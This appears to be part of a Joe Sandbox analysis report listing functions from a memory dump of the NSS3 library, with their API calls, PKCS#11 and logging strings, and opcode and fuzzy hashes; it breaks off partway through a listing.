Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 5bc1eb1bd869b03782980ee6bd912d03293b4061320c95f55547164c99b377f1
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: BCE0653BA0401967EB148E4AC4507A97399DF81655FA88079EC59ABA06D633F8038781

Function 6CFCCC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42916b8c4dc9fe318b98a11a2a6250be3fb7e82271f498bc72d5fb72860debf6
Instruction ID: 157ac40bee726797334a122767935d6d379608c5aa69d10de42babfc8530f200
Opcode Fuzzy Hash: 42916b8c4dc9fe318b98a11a2a6250be3fb7e82271f498bc72d5fb72860debf6
Instruction Fuzzy Hash: 47C09238244708CFC704DF48E589EA43BF8FF0D6107050094EA028B721DB72FC00CA80

Function 6D001D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6D001D46), ref: 6D002345

Strings

CKR_PIN_LEN_RANGE, xrefs: 6D002061
CKR_STATE_UNSAVEABLE, xrefs: 6D002037
CKR_DEVICE_MEMORY, xrefs: 6D001FF3
CKR_SIGNATURE_LEN_RANGE, xrefs: 6D0020D9
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6D001FD7
CKR_SIGNATURE_INVALID, xrefs: 6D0020CF
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6D002015
CKR_MUTEX_NOT_LOCKED, xrefs: 6D002225
CKR_RANDOM_NO_RNG, xrefs: 6D0022A7
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6D002275
CKR_OBJECT_HANDLE_INVALID, xrefs: 6D00204D
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6D001F8B
CKR_NEXT_OTP, xrefs: 6D00222F
CKR_PIN_EXPIRED, xrefs: 6D00206B
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6D00227F
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6D0022FF
CKR_OPERATION_ACTIVE, xrefs: 6D0022B8
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6D00218D
CKR_FUNCTION_REJECTED, xrefs: 6D002289
CKR_TOKEN_NOT_PRESENT, xrefs: 6D001F81
CKR_DEVICE_REMOVED, xrefs: 6D002261
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6D00232E
CKR_PIN_LOCKED, xrefs: 6D002075
CKR_INFORMATION_SENSITIVE, xrefs: 6D0022B1
CKR_SAVED_STATE_INVALID, xrefs: 6D001E56
CKR_TEMPLATE_INCOMPLETE, xrefs: 6D001F95
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6D00226B
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6D002319
CKR_FUNCTION_CANCELED, xrefs: 6D001E73
CKR_DEVICE_ERROR, xrefs: 6D00229D
CKR_OK, xrefs: 6D001DFC
CKR_TEMPLATE_INCONSISTENT, xrefs: 6D001EE1
CKR_NEW_PIN_MODE, xrefs: 6D001E9F
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6D002293, 6D00233F
CKR_PIN_INVALID, xrefs: 6D002057
CKR_CURVE_NOT_SUPPORTED, xrefs: 6D002179
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6D001F0F
rv = %s, xrefs: 6D002340
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6D002327
CKR_PIN_INCORRECT, xrefs: 6D001D92
CKR_MUTEX_BAD, xrefs: 6D001F49
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6D001DE0
rv = 0x%x, xrefs: 6D002312
CKR_OPERATION_CANCEL_FAILED, xrefs: 6D001F77
CKR_BUFFER_TOO_SMALL, xrefs: 6D002183
CKR_WRAPPED_KEY_INVALID, xrefs: 6D001FB5
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6D002320

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: ac33f58e1c01a245ca933be8a39801aa601c0ce10ec1a45ea0e135f81d18eace
Instruction ID: 176a4494f9d6b46b959385fae4f8b63644d56ec74ede69f74b88446ebebfd71a
Opcode Fuzzy Hash: ac33f58e1c01a245ca933be8a39801aa601c0ce10ec1a45ea0e135f81d18eace
Instruction Fuzzy Hash: DB61212095D142F7F636C16C89A537C21BDBB06304FE0C0BBE6829EA9DD6D58B9246D3

Function 6D035DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6D035E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6D035E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6D035E5C
free.MOZGLUE(00000000), ref: 6D035E7E
free.MOZGLUE(00000000), ref: 6D035E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6D035EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6D035EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6D035ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6D035EF0
free.MOZGLUE(00000000), ref: 6D035F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6D035F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6D035F5B
free.MOZGLUE(00000000), ref: 6D035F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6D035FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6D035FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6D035FC4
free.MOZGLUE(00000000), ref: 6D035FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6D035FE9
free.MOZGLUE(00000000), ref: 6D035FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6D03600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D036027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6D03605A
PR_smprintf.NSS3(6D10AAF9,00000000), ref: 6D03606A
free.MOZGLUE(00000000), ref: 6D03607C
free.MOZGLUE(00000000), ref: 6D03609A
free.MOZGLUE(00000000), ref: 6D0360B2
free.MOZGLUE(?), ref: 6D0360CE

Strings

flags, xrefs: 6D035E3A, 6D035EC6, 6D035F30
secmod=, xrefs: 6D035FB1
pkcs11.txt, xrefs: 6D035F47, 6D035F7C, 6D03603A, 6D036053
%s/%s, xrefs: 6D036055
noModDB, xrefs: 6D035EEA
forceSecmodChoice, xrefs: 6D035F55
secmod.db, xrefs: 6D035EA0
readOnly, xrefs: 6D035E56
configDir=, xrefs: 6D035F9D

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: af4d2ac58e4ae697c21586ace02adedada2cc24ddd82f0ed70c8c9b4bb07ad49
Instruction ID: 7a367cda1e1b786437d8debfd22b3f68fdacf1a8387f4258f1a6a84f30f72d5e
Opcode Fuzzy Hash: af4d2ac58e4ae697c21586ace02adedada2cc24ddd82f0ed70c8c9b4bb07ad49
Instruction Fuzzy Hash: 7C9107B89042276FFB019F25DC8ABBF3BE4AF06248F4A0020ED559B256E771D550C7E2

Function 6CFC1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CFC1DA3

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CFC1DB2

Part of subcall function 6CFC1240: TlsGetValue.KERNEL32(00000040,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1267
Part of subcall function 6CFC1240: EnterCriticalSection.KERNEL32(?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC127C
Part of subcall function 6CFC1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1291
Part of subcall function 6CFC1240: PR_Unlock.NSS3(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFC1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CFC1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CFC1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CFC1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CFC1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CFC1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CFC1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CFC1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CFC1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CFC1F83
PR_SetLogFile.NSS3(00000000), ref: 6CFC1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CFC1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CFC1FCB
free.MOZGLUE(00000000), ref: 6CFC1FD2

Strings

%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CFC1E27
sync, xrefs: 6CFC1E46
append, xrefs: 6CFC1EE6
timestamp, xrefs: 6CFC1EC4
, %n, xrefs: 6CFC1E6B
all, xrefs: 6CFC1F0E
NSPR_LOG_MODULES, xrefs: 6CFC1DAD
NSPR_LOG_FILE, xrefs: 6CFC1F69
bufsize, xrefs: 6CFC1E9B
Unable to create nspr log file '%s', xrefs: 6CFC1FB3

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 2ae53f8a747a5e83019fe4a388ab23f6e1b84d511e32bb031e9b2febb80dc798
Instruction ID: 71b46f7fe0f0862ecd8451647a9e5ad5d52cd99c323d1ee5cc190166f1626d44
Opcode Fuzzy Hash: 2ae53f8a747a5e83019fe4a388ab23f6e1b84d511e32bb031e9b2febb80dc798
Instruction Fuzzy Hash: A1516DB1F0421A9BDF009BE5DC48BDF77B9AF05308F088128E915DB645E7B1E568CB92

Function 6D0A6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF5CA30: EnterCriticalSection.KERNEL32(?,?,?,6CFBF9C9,?,6CFBF4DA,6CFBF9C9,?,?,6CF8369A), ref: 6CF5CA7A
Part of subcall function 6CF5CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF5CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CF6BE66), ref: 6D0A6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CF6BE66), ref: 6D0A6E98
sqlite3_snprintf.NSS3(?,00000000,6D10AAF9,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CF6BE66), ref: 6D0A6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CF6BE66), ref: 6D0A6FA6
sqlite3_snprintf.NSS3(?,00000000,6D10AAF9,00000000,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A7014
sqlite3_free.NSS3(00000000,?,?,?,?,6CF6BE66), ref: 6D0A701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CF6BE66), ref: 6D0A7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CF6BE66), ref: 6D0A7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A70A0

Strings

winGetTempname2, xrefs: 6D0A70C4
winGetTempname5, xrefs: 6D0A7071
mz_etilqs_, xrefs: 6D0A6F18
winGetTempname4, xrefs: 6D0A7046
winGetTempname1, xrefs: 6D0A708F

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: e93c3b6caae9280bbb97da5266b65f99547cbc715612744a7c941173f1160e8a
Instruction ID: 7834c4fae8d3f7ced63d37342bd855932674d378f8ed235c53f899ea689b3350
Opcode Fuzzy Hash: e93c3b6caae9280bbb97da5266b65f99547cbc715612744a7c941173f1160e8a
Instruction Fuzzy Hash: 9B519BB1F045216BF3059274AC55FBF36669F92314F488138EA11973C7FF62991E82E2

Function 6D034FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000,00000000,00000001), ref: 6D035009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D035049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6D03505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6D035071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6D035089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D0350A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6D0350B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2), ref: 6D0350CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6D0350D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D0350F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D035103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D03511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D03512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D035145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D035153
free.MOZGLUE(?), ref: 6D03516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6D03517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6D035195

Strings

parameters=, xrefs: 6D03506B
library=, xrefs: 6D035043
nss=, xrefs: 6D035083
name=, xrefs: 6D035057
config=, xrefs: 6D03509B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: ae683e2ec34fd0db17e0eb72632435b422bfe10978e59ddebd6d36f7c52c6f7e
Instruction ID: ace8de6f8d3f571729f91daa17642e69a442b83e5a90b66513b851ba9cc0e5ca
Opcode Fuzzy Hash: ae683e2ec34fd0db17e0eb72632435b422bfe10978e59ddebd6d36f7c52c6f7e
Instruction Fuzzy Hash: DC5173B9914227AFFB01CF24EC45BBE37A8AF06244F060020ED55E7251E766E915CBF2

Function 6D008E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6D008E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D008EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D008EB3

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D008EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6D008EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6D008F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D008F29
PR_LogPrint.NSS3(?,00000000), ref: 6D008F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6D008F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D008F80
PR_LogPrint.NSS3(?,00000000), ref: 6D008F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6D008FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6D008FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6D009047

Strings

hSession = 0x%x, xrefs: 6D008E8E, 6D008E9E
hKey = 0x%x, xrefs: 6D008F5B, 6D008F6B
pWrappedKey = 0x%p, xrefs: 6D008FAD
C_WrapKey, xrefs: 6D008E71
hWrappingKey = 0x%x, xrefs: 6D008F01, 6D008F11
pulWrappedKeyLen = 0x%p, xrefs: 6D008FC8
pMechanism = 0x%p, xrefs: 6D008EE0
*pulWrappedKeyLen = 0x%x, xrefs: 6D009042
(CK_INVALID_HANDLE), xrefs: 6D008EAC, 6D008F1F, 6D008F79

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: e62573f7aa137fcc32d37329249017d2cb150de00a901dfa3152019f18da244c
Instruction ID: 29e66446b679124a7e4c88823eff0fdfb4d0a8a960510bef9d21e99def707852
Opcode Fuzzy Hash: e62573f7aa137fcc32d37329249017d2cb150de00a901dfa3152019f18da244c
Instruction Fuzzy Hash: AE51C375904105BFFB20AF51ED48F6F7BB6FB46308F0A8024FA0867152DBB49955CBA2

Function 6D034C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6D024F51,00000000), ref: 6D034C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6D024F51,00000000), ref: 6D034C5B
PR_smprintf.NSS3(6D10AAF9,?,0000002F,?,?,?,00000000,00000000,?,6D024F51,00000000), ref: 6D034C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6D024F51,00000000), ref: 6D034CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D034CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D034CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D034D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6D024F51,00000000), ref: 6D034D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6D024F51,00000000), ref: 6D034D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6D034D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6D034DA2
free.MOZGLUE(?), ref: 6D034DB9
free.MOZGLUE(00000000), ref: 6D034DCF

Strings

0x%08lx=[%s %s], xrefs: 6D034D80
rootFlags, xrefs: 6D034D47
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6D034D9D
%s,%s, xrefs: 6D034C4B
timeout, xrefs: 6D034C91
any, xrefs: 6D034C96
ootT, xrefs: 6D034D1A
slotFlags, xrefs: 6D034D34
every, xrefs: 6D034CA1
rust, xrefs: 6D034D22

Memory Dump Source

